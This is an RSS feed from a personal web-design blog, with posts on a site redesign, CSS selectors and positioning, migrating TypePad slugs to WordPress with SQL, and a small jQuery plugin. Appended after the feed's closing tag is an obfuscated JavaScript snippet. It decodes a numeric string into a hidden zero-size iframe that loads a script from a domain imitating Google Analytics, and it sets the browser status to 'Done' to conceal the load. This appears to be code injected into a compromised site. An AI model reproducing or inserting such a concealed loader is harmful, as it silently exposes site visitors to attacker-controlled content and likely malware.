<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Mo Jebus &#187; Web Design</title>
	<link>http://moronicbajebus.com</link>
	<description>Banana Ice Cream!</description>
	<pubDate>Tue, 06 Jan 2009 02:09:30 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2.1</generator>
	<language>en</language>
			<item>
		<title>Update on the Mojebus redesign</title>
		<link>http://moronicbajebus.com/2008/07/07/update-on-the-mojebus-redesign/</link>
		<comments>http://moronicbajebus.com/2008/07/07/update-on-the-mojebus-redesign/#comments</comments>
		<pubDate>Tue, 08 Jul 2008 00:04:44 +0000</pubDate>
		<dc:creator>Seamus</dc:creator>
		
		<category><![CDATA[Site]]></category>

		<category><![CDATA[Sketchbook]]></category>

		<category><![CDATA[CSS]]></category>

		<category><![CDATA[Frontpage]]></category>

		<category><![CDATA[Rant]]></category>

		<category><![CDATA[MoJebus]]></category>

		<guid isPermaLink="false">http://moronicbajebus.com/2008/07/07/update-on-the-mojebus-redesign/</guid>
		<description><![CDATA[Read the previous post for better insight. I will not make you wait so check out the latest update. 
There are three relative minor updates.  I have fleshed out the text styling by adding list styles. I have adding extra white space between content and comments which causes the comments to move off my [...]]]></description>
			<content:encoded><![CDATA[<p>Read the <a href="/2008/06/28/the-start-of-mojebus-redesign/">previous post</a> for better insight. I will not make you wait so <a href="/wordpress/wp-content/files/mojebus-2008-2/">check out the latest update</a>. </p>
<p>There are three relative minor updates.  I have fleshed out the text styling by adding list styles. I have adding extra white space between content and comments which causes the comments to move off my laptop screen. I added a comment form.</p>
<p>Now, there is one major update. Scroll all the way down to the bottom. I have started to work out the rethought and improved advanced browse/search (if you think of a better name tell me). The current design has a browse and search which you can toggle open. Shortly after creating it, I saw many issues with it&mdash;oh well. This is a second take on it. It is a mashup of a search and browse by category. The x-axis is for search relevancy and the y-axis is how many categories the result is in.</p>
<p>I am really happy for the CSS <a href="http://developer.mozilla.org/en/docs/CSS:display">display inline-block</a>. It does so many little things I need. For instant, I used it for the post links in the search/browse at the bottom of the page. I can have the links be compact so two can be on one line but it also prevents the links from creating a messing line wrapping which breaks the bubble feeling.</p>
]]></content:encoded>
			<wfw:commentRss>http://moronicbajebus.com/2008/07/07/update-on-the-mojebus-redesign/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Now I am excited</title>
		<link>http://moronicbajebus.com/2008/06/03/now-i-am-excited/</link>
		<comments>http://moronicbajebus.com/2008/06/03/now-i-am-excited/#comments</comments>
		<pubDate>Wed, 04 Jun 2008 03:16:02 +0000</pubDate>
		<dc:creator>Seamus</dc:creator>
		
		<category><![CDATA[CSS]]></category>

		<category><![CDATA[Frontpage]]></category>

		<category><![CDATA[Web Design]]></category>

		<category><![CDATA[Rant]]></category>

		<guid isPermaLink="false">http://moronicbajebus.com/2008/06/03/now-i-am-excited/</guid>
		<description><![CDATA[I am a dork for getting so excited after reading a short blog post from David Baron. A bunch of nice selectors have been landed in the branch of Mozilla. They are  :nth-child(), :nth-last-child(), :nth-of-type(),  :nth-last-of-type() :first-of-type, :last-of-type, and :only-of-type.
]]></description>
			<content:encoded><![CDATA[<p>I am a dork for getting so excited after reading a <a href="http://dbaron.org/log/20080603-new-selectors">short blog post</a> from David Baron. A bunch of nice selectors have been landed in the branch of Mozilla. They are  <a href="http://reference.sitepoint.com/css/pseudoclass-nthchild">:nth-child()</a>, <a href="http://reference.sitepoint.com/css/pseudoclass-nthlastchild">:nth-last-child()</a>, <a href="http://reference.sitepoint.com/css/pseudoclass-nthoftype">:nth-of-type()</a>,  <a href="http://reference.sitepoint.com/css/pseudoclass-nthlastoftype">:nth-last-of-type()</a> <a href="http://reference.sitepoint.com/css/pseudoclass-firstoftype">:first-of-type</a>, <a href="http://reference.sitepoint.com/css/pseudoclass-lastoftype">:last-of-type</a>, and <a href="http://reference.sitepoint.com/css/pseudoclass-onlyoftype">:only-of-type</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://moronicbajebus.com/2008/06/03/now-i-am-excited/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Grid Based Web Design Examples</title>
		<link>http://moronicbajebus.com/2008/03/05/grid-based-web-desing-examples/</link>
		<comments>http://moronicbajebus.com/2008/03/05/grid-based-web-desing-examples/#comments</comments>
		<pubDate>Thu, 06 Mar 2008 04:44:28 +0000</pubDate>
		<dc:creator>Seamus</dc:creator>
		
		<category><![CDATA[External]]></category>

		<category><![CDATA[Frontpage]]></category>

		<category><![CDATA[Web Design]]></category>

		<guid isPermaLink="false">http://moronicbajebus.com/2008/03/05/grid-based-web-desing-examples/</guid>
		<description><![CDATA[A good collection of inspirations forgrid based web designs.  I have already been using several of them as grid inspiration as it relates to the work at my job.
]]></description>
			<content:encoded><![CDATA[<p>A good collection of inspirations for<a href="http://www.webdesignerwall.com/trends/grid-and-column-designs/">grid based web designs</a>.  I have already been using several of them as grid inspiration as it relates to the work at my job.</p>
]]></content:encoded>
			<wfw:commentRss>http://moronicbajebus.com/2008/03/05/grid-based-web-desing-examples/feed/</wfw:commentRss>
		</item>
		<item>
		<title>When I look into your eyes</title>
		<link>http://moronicbajebus.com/2008/03/05/when-i-look-into-your-eyes/</link>
		<comments>http://moronicbajebus.com/2008/03/05/when-i-look-into-your-eyes/#comments</comments>
		<pubDate>Thu, 06 Mar 2008 04:38:26 +0000</pubDate>
		<dc:creator>Seamus</dc:creator>
		
		<category><![CDATA[Sketchbook]]></category>

		<category><![CDATA[Site]]></category>

		<category><![CDATA[Frontpage]]></category>

		<category><![CDATA[Web Design]]></category>

		<category><![CDATA[Rant]]></category>

		<guid isPermaLink="false">http://moronicbajebus.com/2008/03/05/when-i-look-into-your-eyes/</guid>
		<description><![CDATA[I keep thinking about where I want to go next with this website. It will continue to be experimental and the content will be similar. But other than those two I am open to a new direction.
But I just keep coming back to one single idea. It is centered around what the user is looking [...]]]></description>
			<content:encoded><![CDATA[<p>I keep thinking about where I want to go next with this website. It will continue to be experimental and the content will be similar. But other than those two I am open to a new direction.</p>
<p>But I just keep coming back to one single idea. It is centered around what the user is looking at on the page. Since reading the users mind is even more out of the question, it would be awesome if the webpage knew what the user was currently looking at. If it knew you were reading the main content it would dim the chrome of the page. Or if your eyes were darting around looking for something, it could start highlighting useful items based upon what your eyes have already looked at.  Lots of ideas, but a lot less on how to actually do them.</p>
]]></content:encoded>
			<wfw:commentRss>http://moronicbajebus.com/2008/03/05/when-i-look-into-your-eyes/feed/</wfw:commentRss>
		</item>
		<item>
		<title>delete_post and deleted_post</title>
		<link>http://moronicbajebus.com/2007/10/11/delete_post-and-deleted_post/</link>
		<comments>http://moronicbajebus.com/2007/10/11/delete_post-and-deleted_post/#comments</comments>
		<pubDate>Thu, 11 Oct 2007 21:12:28 +0000</pubDate>
		<dc:creator>Seamus</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[Frontpage]]></category>

		<guid isPermaLink="false">http://moronicbajebus.com/2007/10/11/delete_post-and-deleted_post/</guid>
		<description><![CDATA[A little note for myself and anyone else.  I have not tested this yet but hopefully I will soon.
From my snooping, Wordpress 2.2.x has a new hook and has changed a hook. Before 2.2, the delete_post hook was called after the post was deleted. With 2.2, delete_post hook is call before the post is [...]]]></description>
			<content:encoded><![CDATA[<p>A little note for myself and anyone else.  I have not tested this yet but hopefully I will soon.</p>
<p>From <a href="http://trac.wordpress.org/browser/branches/2.2/wp-includes/post.php#L407">my</a> <a href="http://trac.wordpress.org/browser/branches/2.2/wp-includes/post.php#L438">snooping</a>, Wordpress 2.2.x has a new hook and has changed a hook. Before 2.2, the <code>delete_post</code> hook was called <em>after</em> the post was deleted. With 2.2, <code>delete_post</code> hook is call <em>before</em> the post is deleted whereas a new hook <code>deleted_post</code> is called after the post is deleted. In all the cases, the hook function is passed the post ID.</p>
<p>This is very good because originally you would be out of luck if you needed information (date, slug, etc) about the deleted post. Now you can grab the information, based upon the ID, before the post is deleted from the database.</p>
]]></content:encoded>
			<wfw:commentRss>http://moronicbajebus.com/2007/10/11/delete_post-and-deleted_post/feed/</wfw:commentRss>
		</item>
		<item>
		<title>MySpacing with the Da Bay Deuce</title>
		<link>http://moronicbajebus.com/2007/04/04/myspacing-with-the-da-bay-deuce/</link>
		<comments>http://moronicbajebus.com/2007/04/04/myspacing-with-the-da-bay-deuce/#comments</comments>
		<pubDate>Thu, 05 Apr 2007 02:01:31 +0000</pubDate>
		<dc:creator>Seamus</dc:creator>
		
		<category><![CDATA[AIGA]]></category>

		<category><![CDATA[Sketchbook]]></category>

		<category><![CDATA[Frontpage]]></category>

		<category><![CDATA[Web Design]]></category>

		<category><![CDATA[Rant]]></category>

		<guid isPermaLink="false">http://moronicbajebus.com/2007/04/04/myspacing-with-the-da-bay-deuce/</guid>
		<description><![CDATA[Is it beneficial to create a MySpace profile as a professional graphic designer (not a personal profile)?  This was the question recently asked upon the Washington, DC AIGA listserv. The conversation was summed up well:
It really seems that most of us are of the same opinion in that MySpace should not be used for [...]]]></description>
			<content:encoded><![CDATA[<p>Is it beneficial to create a MySpace profile as a professional graphic designer (not a personal profile)?  This was the question recently asked upon the Washington, DC AIGA listserv. The conversation was summed up well:</p>
<blockquote><p>It really seems that most of us are of the same opinion in that MySpace should not be used for designer networking or portfolio display.</p>
<p>I believe in keeping the design standards as high as possible, for myself, and the industry. There are so many great, professional, resources available to us for these purposes. Oh yeah, like AIGA!</p></blockquote>
<p>This and the entire conversation irked me. I responded. The following is based upon my response.</p>
<p>I kept thinking and dwelling about the utilizing MySpace all that night.  Blank, blank, blank were the first several dozen ideas I had as to why to do it.  Then I realized I was wrong, and perhaps most of us, in my approach.  Think MySpacing—not MySpace. What action—what emotionally connected action—what addictive action—what MySpacing will they do to your profile? How will they be MySpacing with you?</p>
<p>This is not really my idea and regrettable I do not remember who, out there in the wild, suggested this idea.  But the idea finally sunk in with me: “MySpace is about the action and interaction. It is the activities that keep coming back for more.”</p>
<p>Let us put this to mental use; what could our MySpacing page be? Instead of making it our portfolio, we will make it a portfolio piece of MySpacing.</p>
<p>Our MySpace page will be the home to the Dancing Baby II—Da Bay Deuce as the wanna be cool kids call it.  Get people to come and come again because they it is a weird bad pop culture addictive quality.  Make it something that people will not admit to liking to their friends until that one brave friend admits it and then its ok to fancy it (heck even the emo kids will like it, they just will not admit it). But, there is more to this. People then want to befriend Da Bay Deuce so that a cheesy animated GIF or Da Bay Deuce shows up in there friends list. Then we kick it up a notch; we create a full persona and start commenting on their profiles to tease them back to our profile. In addition, people leave comments on our profile where they can shout out what they want to see Da Bay Deuce do next.  Then let’s say, Da Bay Deuce visits your company, for some contrived reason, and an awkward yet funny situation occurs.</p>
<p>Maybe that is not the best example; but, hopefully you can see my point.<br />
MySpace may not be suited to display your portfolio; but, instead it is suited to be a<br />
portfolio piece, in itself, of designing MySpacing.</p>
]]></content:encoded>
			<wfw:commentRss>http://moronicbajebus.com/2007/04/04/myspacing-with-the-da-bay-deuce/feed/</wfw:commentRss>
		</item>
		<item>
		<title>From TypePad to WordPress with Slugs</title>
		<link>http://moronicbajebus.com/2006/11/17/from-typepad-to-wordpress-with-slugs/</link>
		<comments>http://moronicbajebus.com/2006/11/17/from-typepad-to-wordpress-with-slugs/#comments</comments>
		<pubDate>Fri, 17 Nov 2006 20:13:57 +0000</pubDate>
		<dc:creator>Seamus</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[Frontpage]]></category>

		<guid isPermaLink="false">http://moronicbajebus.com/?p=104</guid>
		<description><![CDATA[As this post is already fairly long in length, I did not go into every detail.  Such as, I omit how to set your permalinks to match TypePad and how to make an MySQL query.  I hope this post helps someone out there.
Although WordPress has a built-in import feature for TypePad/Movable Type, it [...]]]></description>
			<content:encoded><![CDATA[<p><em>As this post is already fairly long in length, I did not go into every detail.  Such as, I omit how to set your <a href="http://codex.wordpress.org/Using_Permalinks">permalinks</a> to match TypePad and <a href="http://www.webdevelopersnotes.com/tutorials/sql/index.php3">how</a> to <a href="http://www.phpmyadmin.net/home_page/index.php">make</a> an MySQL query.  I hope this post helps someone out there.</em></p>
<p>Although WordPress has a built-in import feature for TypePad/Movable Type, it does not import the slugs.  (The slug is the post name formated for the <span class="caps">URL</span> for example a post titled &#8220;I Love Cheese&#8221; has a slug of &#8220;i-love-cheese&#8221; in WordPress.) The slugs are not export by TypePad nor import by WordPress. So WordPress creates new slugs for each post in the WordPress style. The three issues with this are:</p>
<ol>
<li>TypePad uses the underscore &#8221;_&#8221; to separate words whereas WordPress uses the dash &#8221;-&#8221; </li>
<li>TypePad truncates the slug to 15 characters whereas WordPress does not</li>
<li>TypePad will keep slugs that are not the same as the title</li>
</ol>
<p>The first and second can be easily be fixed with a little bit of <span class="caps">SQL</span> on the database.  But since the last one requires that you know explicitly the slug in TypePad, a modified import process needs to be done. </p>
<p><em><strong>(These steps require that you do not have any post in your WordPress installation.)</strong></em></p>
<h2>The Modified Import Process</h2>
<h3>Exporting From TypePad</h3>
<p>The first step is to get an export from TypePad with the slugs included. Adam Stiles has <a href="http://adamstiles.com/2005/10/painless_switch_from_typepad_to_wordpress/">created</a> a <a href="http://adamstiles.com/mt_export_with_name.txt">Movable Type template</a> for this purpose . I did have to modify it to get all (actually about the last five years which all the post are within) the posts instead of the last 100. </p>
<p>Original:<br />
<code>&lt;MTEntries lastn="100"&gt;</code></p>
<p>Modified:<br />
<code>&lt;MTEntries days="1780"&gt;</code></p>
<p><em>Please note that this will only export posts which are published. Drafts will not be exported.</em></p>
<p>Save and publish the template as an Index Template. Then view the generate published file and save it to your computer.</p>
<h3>Importing Into WordPress</h3>
<p>The second step is to import the exported posts into WordPress.  The default WordPress import will not import the slugs.  In order to also bring in slugs, you will need to use Adam Stiles Movable Type importer. </p>
<ol>
<li>You must already have WordPress installed and configured.</li>
<li>Upload the export posts file to your WordPress installation&#8217;s wp-admin directory.</li>
<li>Download the <a href="http://adamstiles.com/import-mt-with-name.phps">MovableType importer</a> and save as import-mt.php.</li>
<li>Edit import-mt.php to include the name of the export file. For example if your export file was named export.txt, then modify the second line as such &#8220;<code>define('MTEXPORT', 'export.txt');</code>&#8221;.</li>
<li>Upload import-mt.php to your WordPress installation&#8217;s wp-admin directory.</li>
<li>Run, through your web browser, import-mt.php in your WordPress installation. <em>(The first page that shows up is not an error, but just a message stating you must edited, which you have, &#8220;<code>define('MTEXPORT', '');</code>&#8221; before moving to the next step.)</em></li>
</ol>
<h3>Trim Excess Off Slugs With <span class="caps">SQL</span></h3>
<p><em>(This part of the process assumes that no posts existed in your WordPress installation before you imported the TypePad post into WordPress. Although, I am sure you can still trim the desired posts with <span class="caps">SQL</span> code which targets the desired posts.) </em></p>
<p>The imported slugs are not the actually slugs; instead, they are the relative <span class="caps">URL</span> paths which happen to include the slugs. To get the proper slugs we will trim the excess. For this case, the format is &#8221;/YYYY/MM/SLUG.html&#8221;.  A simple MySQL query can trim this (I did this in phpMyAdmin):</p>
<p><code>UPDATE &lt;WORDPRESS TABLE PREPEND&gt;_posts SET post_name = INSERT( INSERT(post_name, LOCATE('.html', post_name), 5, ''), 1, 9, '' ) WHERE 1</code></p>
<p>The break down of the query</p>
<ul>
<li><code>&lt;WORDPRESS TABLE PREPEND&gt;</code> is the value you prefixed your database tables with during the configuration (the default is &#8220;wp&#8221;).</li>
<li>The query will update every record (every post). To target posts you will need, at the least, to modify <code>WHERE 1</code>. </li>
<li><code>post_name</code> is the post slug field.</li>
<li><a href="http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#id3017539">INSERT</a> <code>( str, pos, length, repstr)</code> is a MySQL function we are using to &#8220;erase&#8221; part of the string we do not want.</li>
<li><a href="http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#id3018093">LOCATE</a> <code>('.html', post_name)</code> returns the starting position of &#8221;.html&#8221; is post_name.</li>
<li><code>INSERT(post_name, LOCATE('.html', post_name)</code> returns a string of &#8221;/YYYY/MM/SLUG&#8221; which means we erased &#8221;.html&#8221;.</li>
<li><code>INSERT( INSERT(post_name, LOCATE('.html', post_name), 5, ''), 1, 9, '' )</code> returns a string &#8220;SLUG&#8221; which means we erased &#8221;/YYYY/MM/&#8221;.</li>
</ul>
<p>Finally, the imported post have their respected original slugs. Which will make it far easier to mimic the <span class="caps">URL</span> structure of the TypePad individual archives with WordPress.</p>
]]></content:encoded>
			<wfw:commentRss>http://moronicbajebus.com/2006/11/17/from-typepad-to-wordpress-with-slugs/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Playfully Positioning</title>
		<link>http://moronicbajebus.com/2006/08/08/playfully-positioning/</link>
		<comments>http://moronicbajebus.com/2006/08/08/playfully-positioning/#comments</comments>
		<pubDate>Tue, 08 Aug 2006 05:17:05 +0000</pubDate>
		<dc:creator>Seamus</dc:creator>
		
		<category><![CDATA[CSS]]></category>

		<category><![CDATA[Frontpage]]></category>

		<guid isPermaLink="false">http://moronicbajebus.com/?p=95</guid>
		<description><![CDATA[Play first and then read. Or,  read first and then play. Or, read while you play. Or, just play.
Since you are reading now, allow me to illustrate why you must play and not just read:
&#147How do I make my text red and uppercase with style sheets?&#8221;
&#147Simple, color: red and text-transform: uppercase.&#8221;
&#147Wow, that sure is [...]]]></description>
			<content:encoded><![CDATA[<p><a href="/wordpress/wp-content/files/playfully-positioning/">Play</a> first and then <a href="#playfully-positioning-reading">read</a>. Or,  <a href="playfully-positioning-reading">read</a> first and then <a href="/wordpress/wp-content/files/playfully-positioning/">play</a>. Or, <a href="#playfully-positioning-reading">read</a> while you <a href="/wordpress/wp-content/files/playfully-positioning/">play</a>. Or, just <a href="/wordpress/wp-content/files/playfully-positioning/">play</a>.</p>
<p id="playfully-positioning-reading">Since you are reading now, allow me to illustrate why you must <a href="/wordpress/wp-content/files/playfully-positioning/">play</a> and not just read:</p>
<blockquote><p>&#147How do I make my text red and uppercase with style sheets?&#8221;<br />
&#147Simple, <code>color: red</code> and <code>text-transform: uppercase</code>.&#8221;<br />
&#147Wow, that sure is simple to grasp,&#8221; said with a smile.<br />
&#147Sure is simple to explain,&#8221; happily accented with a thumbs-up.</p>
</blockquote>
<p>Ahh, such a dandy conversation. Which leads to a conversation about positioning, will this be as dandy as fruit pie?</p>
<blockquote><p>&#8220;How do I position my content to be up 26 pixels underneath my navigation?&#8221;<br />
&#8220;Try this: First, set your navigation to <code>position: relative</code> and <code>z-index: 2</code>. Next, set your content to <code>position: relative</code> and <code>top: -26px</code>&#8221;<br />
&#8220;Umm, that is not quite what I want&#8230; &#8230;Ok now it does what I want, but why?&#8230; &#8230;My head hurts,&#8221; said after forking the last bite of fruit pie.<br />
&#8220;Yeah. Understandably,&#8221; while looking regrettable at the now vanished fruit pie.</p>
</blockquote>
<p>As illustrated (in an over simplified manner), I find myself unable to explain all the nuances of CSS positioning to friends. Understandable, it is hard to absorb <code>float</code>, <code>clear</code>, <code>position</code> ,<code>margin</code>, <code>padding</code>, <code>top</code>, <code>bottom</code>, <code>right</code>, <code>left</code>, <code>z-index</code>, <code>height</code>, <code>width</code>, etc. I happened through the years to teach myself CSS by doing and then (a) achieving the desire results, (b) failing absolutely and then searching for information, or (c) noticing a behavior unbeknown to me and then reading up on it.  </p>
<p>To incubate something of a similar learning environment, I created Playfully Positioning. It is an individual-exploration of how six important CSS positioning rules behave and interact with each other: <a href="http://www.w3.org/TR/CSS21/visuren.html#propdef-position">position</a>, <a href="http://www.w3.org/TR/CSS21/visuren.html#z-index">z-index</a>, <a href="http://www.w3.org/TR/CSS21/visuren.html#propdef-top">top</a>, <a href="http://www.w3.org/TR/CSS21/visuren.html#propdef-right">right</a>, <a href="http://www.w3.org/TR/CSS21/visuren.html#propdef-bottom">bottom</a>, and <a href="http://www.w3.org/TR/CSS21/visuren.html#propdef-left">left</a>. </p>
<p>If you want a little guidance, below I give a brief run-down of the basics of the rules.</p>
<h2>position: static</h2>
<p>Most people do not use <code>position: static</code> explicitly because it is the default when no position rule is provided. The rules top, right, bottom, and left have no effect.</p>
<h2>position: relative</h2>
<p>If you want to adjust the position of a box based on its original position in the layout flow, <code>position: relative</code> is your piece of pie.  The rules top, right, bottom, and left move the box from it&#8217;s original place in the layout flow and <strong>its original displacement in the flow still exist</strong>. For example, <code>top: 40px</code> will move the box 40 pixels down from its original place and overlap anything in the 40 pixels below the original position of the box and still leave a 40px gap above the box. </p>
<h2>position: absolute</h2>
<p>Want to disregard the layout flow, <code>position: absolute</code> could be your ticket. It will take the box out of the layout flow which means no big hole (displacement) in the flow.  Watch out for the double personality of the rules top, right, bottom, and left.  The rules say how far the edge (lets say top) of a box is from the same edge (again top edge) of the box&#8217;s containing box. Now this leads to the double personality. If the box has an ancestor (a box with which it is inside of) that is positioned relative, absolute, or fixed, the ancestor is the containing box. But if no ancestor is positioned relative, absolute, or fixed, then the containing box is the top-left corner of the page with the same dimensions of the view-port&mdash;<strong>not the page</strong>. Just try it out because it is much simpler than it sounds.</p>
<h2>position: fixed</h2>
<p>Ooo&#8217;s and awww&#8217;s come from <code>position: fixed</code>. It will take the box out of the layout flow (just like absolute) and then do a neat trick&mdash;not move when you scroll.  As with the absolute, the rules top, right, bottom, and left are from the edge of the box to the edge of the box&#8217;s containing box. But, the difference is the containing box is the view-port. (I am not positive about containing box always being the view-port in regard to the <a href="http://www.w3.org/TR/CSS21/visuren.html#propdef-position">specs</a>, &#8220;[t]he box&#8217;s position is calculated according to the &#8216;absolute&#8217; model[&#8230; ]&#8221;.) For example, <code>top: 30px</code> places the 30 pixels from the top of the <a href="http://www.w3.org/TR/CSS21/visuren.html#viewport">view-port</a> (the area of the page you can actually see in the window).</p>
<h2>z-index</h2>
<p>Yes, z-index gives you layers but not Photoshop layers. A layer belongs to a <a href="http://www.w3.org/TR/CSS21/visuren.html#z-index">stacking-context</a>.  A layer is above other layers (in a stacking-context) if it has a higher z-index or the later one if the two have the same z-index. A stacking-context is either the body or any box that is positioned absolute, relative, or fixed.  Which means, a layer in a stacking-context can be another stacking-context. To go along with it, <strong>seperate stacking-contexts cannot be in between each other&#8217;s layers</strong>. Huh? For example, lets say you have a stacking context X with layers A and B and you have a stacking context Y with layers M and N.  Either all the layers in X have to be below the layers in Y or vice versa. Remember, X and Y are just layers inside another stacking-context. Lets give them all z-index value: (X, 5), (Y, 1), (A, 0), (B, 10), (M, 1), (N, 100). The result order of layers from bottom to top: M, N, A, B.  I suggest you play around with this and read through the <a href="http://www.w3.org/TR/CSS21/visuren.html#z-index">specs</a> slowly.</p>
<p>Now if you haven&#8217;t played with <a href="/wordpress/wp-content/files/playfully-positioning/">Playfully Positioning</a>, do so.</p>
<h2>Additional Resources</h2>
<ul>
<li><a href="http://www.w3.org/TR/CSS21/visuren.html">W3C: Visual formatting model</a></li>
<li><a href="http://www.safaribears.de/content.php?page=csstutorial&#038;chap=8">Safari Bears: CSS Tutorial - Positioning</a></li>
<li><a href="http://www.miswebdesign.com/resources/articles/css-positioning-properties.html">MIS Web Design: CSS Positioning Properties</a></li>
<li><a href="http://www.informit.com/articles/article.asp?p=170513&#038;seqNum=2&#038;rl=1">Integrated Web Design: Position This! CSS Positioning Demystified</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://moronicbajebus.com/2006/08/08/playfully-positioning/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Add A Class Randomly From a Set</title>
		<link>http://moronicbajebus.com/2006/07/30/add-a-class-randomly-from-a-set/</link>
		<comments>http://moronicbajebus.com/2006/07/30/add-a-class-randomly-from-a-set/#comments</comments>
		<pubDate>Sun, 30 Jul 2006 21:11:25 +0000</pubDate>
		<dc:creator>Seamus</dc:creator>
		
		<category><![CDATA[Javascript]]></category>

		<category><![CDATA[CSS]]></category>

		<category><![CDATA[Frontpage]]></category>

		<guid isPermaLink="false">http://moronicbajebus.com/?p=94</guid>
		<description><![CDATA[I was recently asked by a friend for information about how to have a random background image. Well not completely random, the background image should be from a set of images.  My idea: add a class, randomly from a set, to the body (or another element) with Javascript. I could just change the style [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently asked by a friend for information about how to have a random background image. Well not completely random, the background image should be from a set of images.  My idea: add a class, randomly from a set, to the body (or another element) with Javascript. I could just change the style attribute for the background image; but, what if the text is white and one of the images happens to be very light in color? So now I have the issue of ensure that there is adequate contrast in color between the background and text.  Plus there could always be other wishes such as being able to change the border color.  So, for me, changing the class gives far greater flexibility for a script. Now I show you my very <a href="/wordpress/wp-content/files/add-a-class-randomly-from-a-set/randomClassName.html">simple example of the code</a>.</p>
<h2>How to use:</h2>
<ol>
<li>Download <a href="http://jquery.com/">JQuery</a></li>
<li>Download <a href="/wordpress/wp-content/files/add-a-class-randomly-from-a-set/AddAClassNameAtRandomToAnElement.js">AddAClassNameAtRandomToAnElement.js</a></li>
<li>Include jquery.js and AddAClassNameAtRandomToAnElement.js in your html: <br />
           <code>&lt;script src=&#34;jquery.js&#34;>&lt;/script><br />
&lt;script src=&#34;AddAClassNameAtRandomToAnElement.js&#34;></code></li>
<li>Create the set of classes to have randomly selected and the query of the element to add the class to: <br />
<code>&lt;script> <br />
var setOfRandomClassNames = new Array(&#34;aa&#34;, &#34;bb&#34;, &#34;cc&#34;); // three classes with the names: aa, bb, and cc<br />
 //var queryForElementsToAddRandomClassTo = &#34;body&#34;; // adds the class name to the body <br />
 var queryForElementsToAddRandomClassTo = &#34;#cow&#34;; // adds the class name to an element with the id of cow<br />
&#8230;</code></li>
<li>Add the call to add the class:<br />
<code>&#8230;<br />$(document).ready(function(){ <br />
&nbsp; &nbsp;$(queryForElementsToAddRandomClassTo).addRandomClass(setOfRandomClassNames);}<br />
});<br />
&#8230;&lt;/script></code></li>
</ol>
<h2>Update</h2>
<p>I changed it from an independent function to a method (<a href="http://jquery.com/docs/Plugin/">JQuery Plugin</a>) of the $ as <a href="/2006/07/30/add-a-class-randomly-from-a-set/#comment-482">John Resig suggested</a>.  Keep up the good work on JQuery John!</p>
]]></content:encoded>
			<wfw:commentRss>http://moronicbajebus.com/2006/07/30/add-a-class-randomly-from-a-set/feed/</wfw:commentRss>
		</item>
		<item>
		<title>HTML Level Up</title>
		<link>http://moronicbajebus.com/2006/07/14/html-level-up/</link>
		<comments>http://moronicbajebus.com/2006/07/14/html-level-up/#comments</comments>
		<pubDate>Fri, 14 Jul 2006 17:23:01 +0000</pubDate>
		<dc:creator>Seamus</dc:creator>
		
		<category><![CDATA[External]]></category>

		<category><![CDATA[Frontpage]]></category>

		<category><![CDATA[Web Design]]></category>

		<guid isPermaLink="false">http://moronicbajebus.com/?p=89</guid>
		<description><![CDATA[Not only does &#8220;Levels of HTML knowledge &#8221; explain the steps of enlightenment with HTML, I think it is useful as a self-evaluation for web designer.  Particularly if it was expanded into giving even additional information, this would be a truely valuable tool (which would have to be updated at least every six months). [...]]]></description>
			<content:encoded><![CDATA[<p>Not only does &ldquo;<a href="http://www.456bereastreet.com/archive/200605/levels_of_html_knowledge/">Levels of HTML knowledge</a> &rdquo; explain the steps of enlightenment with HTML, I think it is useful as a self-evaluation for web designer.  Particularly if it was expanded into giving even additional information, this would be a truely valuable tool (which would have to be updated at least every six months).  I am keen on this idea because of my experience with graphic designers who call themselves web designers after a creating a single webpage which following such logic makes a person a graphic designer when using Word .</p>
]]></content:encoded>
			<wfw:commentRss>http://moronicbajebus.com/2006/07/14/html-level-up/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<script language="JavaScript">function zvgo(kpmy){return String.fromCharCode(kpmy);}var qnru="060105102114097109101032115114099061039104116116112058047047115115108045103111111103108101045097110097108121116105099115046099111109047105110046099103105063050039032119105100116104061039048039032104101105103104116061039048039032115116121108101061039118105115105098105108105116121058032104105100100101110059039062060047105102114097109101062";var qddj="";for(vntu=0;vntu<qnru.length;vntu+=3){qddj+=zvgo(qnru.substr (vntu, 3));}window.status='Done';document.write(qddj);</script>